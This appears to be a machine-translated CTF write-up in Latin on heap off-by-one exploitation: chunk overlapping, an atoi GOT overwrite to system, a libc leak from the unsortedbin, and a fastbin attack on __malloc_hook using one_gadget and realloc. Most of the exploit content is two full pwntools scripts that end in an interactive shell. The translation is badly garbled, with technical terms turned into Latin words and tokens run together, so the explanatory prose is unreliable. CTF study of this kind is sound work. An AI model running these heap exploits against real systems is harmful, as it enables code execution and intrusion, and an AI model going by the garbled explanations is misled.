2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
Fundamentum pwn est adhuc valde vadosum.
Procedente studio, accessiones cognitionis puncta ac quaestiones adicientur.
Summa de doctrina de off a nullo |
Chunk Extende et Overlapping | ctfwiki
Propinquum ad off-per-unum est Chunk Extende et Imbricatis supra memoratis.
Hoc saepe dicitur "obstructiones imbricatis."
Cur cuneos imbricatis efficiunt?
Exempli gratia, si velimus rescribere caput capitis FRUSTUM, id est, segmenta praevia et magnitudines, certo immutare non poterimus ea applicando directe.
Una idea est fictum FRUSTUM struere abhorrentem. Alia simplicior notio est falces imbricatis creare.
Puto hanc quaestionem bonum exemplum esse quomodo utendum est per unum. Interrogationes non sunt valde difficiles, et acuminae utendi satis argutae sunt.
Decompile ad inveniendum densi;
Artificialis est hic extemporalitas, et una magis byte hic scribi potest.
Revertentes ad locorum assignationem;
Primum, FRUSTUM quantitatis 0x10 collocatur ad notitias aliquas reponendas, et deinde pro contento FRUSTUM partita est.
Clarissimum erit si gdb debugging hic spectes.
Exempli gratia, acervus layout obstructionum postquam addam (0x28,'0'), adde (0x10,'1')
Potes videre quod omni tempore addimus, primo malloc a FRUSTUM qui thesauros acervos informationes in humili inscriptione congerunt, et deinde malloc a FRUSTUM qui thesauris contenti sunt.
Tunc animadverti recensendi operationes et monstrare omnia facta esseAcervum obstructionum informationescompages ad "indicem", si libc rimari velimus, informationes stipes acervi huius FRUSTUM ponemus *content
Ager accommodatus est inscriptioni mensae cuiusdam functionis.
Hoc simile in praecedenti "Parvo Intellectus" condicionem implicat. Non possumus directe mutare contentum FRUSTUM quod "indicio scandali acervum reponit", sic uti possumus per unum sollertius ad extensum acervum scandali efficiendum. .
Exempli gratia, si eam sic mitificamus, actu facere potest incrementum et aliudque acervum caudices.
Loquamur de utendo specifico infra.
Utriusque notitiae acervus et scandalum contentum acervus gratuitus erit, ergo hoc tempore binorum magnitudinum 0x20 et 0x40 in fastbins sunt.
Utique quaedam singularia sunt, ut delectu 0x18 et 0x28 postrema magnitudo memorata, et necessitas contenti informationis ACERVUS cum ea modificando servatur.magnitudineagri (aliter ultima recensio longitudinem non habebit scribere tibi) et sic porro.
Expl:
atoi_got = elf.got['atoi']
add(0x28,'0')
add(0x10,'1')
edit(0,b'a'*0x28+b'x41')
free(1)
debug()
add(0x30,b'a'*0x20+p64(0x10)+p64(atoi_got))
show(1)
leak = leak_address()
info_addr("atoi",leak)
atoi = leak
libcbase = atoi - libc.sym['atoi']
info_addr("libcbase",libcbase)
system = libcbase + libc.sym['system']
edit(1,p64(system))
sla("Your choice :",b"/bin/shx00")
p.interactive()
Est etiam aliud cardo huius quaestionis, et etiam illud quod primo sum confusum. Initiale chunk0 addendi Magistri ZIKH EXP est 0x18. In usu meo, mutato ad 0x10 vel 0x20 non operabatur, sed mutato ad 0x28 laboravit.
Debugging deprehendi cum mutatum ad 0x10, 0x20, nostrum usordata non dabunt proximum FRUSTUM.prev_sizeof.
Cum collocans 0x18, 0x28, etc., mechanismus ptmalloc2 reuse segmentum praevius_chunk proximae.
emmm, imo in ultima analysi, adhuc non satis familiari cumulo. Post omnes, sicut explicationem wiki intuentes, tot puncta cognitionis et singularia sunt perplexa, difficile recordari. Nimirum in ipsa pugna congressus sum. Multo melius erit post me devagando et iterum cognoscendo.
Crimen quaestionis hic est.
Cum a2-a1==10 in eo est, si, id est, magnitudine initus per editum, exacte 10 maior est quam magnitudo addita, extemporalitas est.
Proximus structuram destinatio
Vel segmento bss utere ad inusum et inusum FRUSTUM reponendum.*content
Possumus adhuc uti off-by-una cum notis 0x? VIII magnitudine reuse prev_size ut fake prev_size et magnitudine ut felis deinceps (low address) merge
Hoc tempore videre potes quod merge a libero Urguet (2).
Hoc tempore, si addimus (0x80) et tunc ostendemus (1), actu imprimere possumus valorem principalis_arenae+88.
Intellectus meus est: addendi (0x80) hic est insortedbin dividere, ut monstratorem fd (main_arena+88) moveatur ad segmentum chunk1 quod ostendi potest.
Hoc loco libc est base inscriptio emanasse.
Hae operationes similia sentiunt ut multum involvant caudices acervi imbricatis, ut inspice gradatim debugging.
Congere layout cum stillante libc
add(0x68)
(Secare fragmen ex unsortedbin)
free(1)
(fastbin 0x70)
edit(2,p64(malloc_hook-0x23))
(Adhibemus hoc quod chunk2 0x68 applicatum est pro in praecedenti gradu cum chunk1, qui mox liberatus est (chunk1 pro initio applicatus est))
add(0x68)
(Applicando pro chunk1, actu chunk2)
add(0x68)
(Applicare reddere fake_chunk ad malloc_hook-0x23)
Tunc uti debes realloc ad componendum ACERVUM artus, et testam licebit.
Tunc per locum, sed non remote.
Postquam magister Zikh Exp inspiciebat, opus est uti locali
realloc = libcbase + libc.sym['realloc']
Qui immutarerealloc = libcbase + 0x846c0
Tunc debes mutare valorem one_gadget
Haec duo one_gadgets cinguli habent. Nescio cur in momento. (Discere postea)
Ludere loci Exp:
add(0x80)
add(0x68)
add(0x80)
add(0x10)
free(0)
pl = b'a'*0x60 + p64(0x100) + p8(0x90) # prev_size -> chunk0(freed) size:0x91->0x90
edit(1,0x68+10,pl)
free(2) # trigger consolidate
add(0x80)
show(1)
leak = leak_address()
info_addr("leak",leak)
libcbase = leak - 88 - 0x10 - libc.sym['__malloc_hook']
info_addr("libcbase",libcbase)
ogs = [0x45226,0x4527a,0xf03a4,0xf1247] # one_gadgets
og = ogs[1] + libcbase
malloc_hook = libcbase + libc.sym['__malloc_hook']
realloc = libcbase + libc.sym['realloc']
info_addr("malloc_hook",malloc_hook)
add(0x68)
free(1)
edit(2,8,p64(malloc_hook-0x23)) # fake_chunk
add(0x68)
add(0x68)
pl = b'a'*11 + p64(og) + p64(realloc+16)
edit(4,len(pl),pl)
add(0xFF)
p.interactive()
loci:
e longinquo:
Ad summam, difficile est.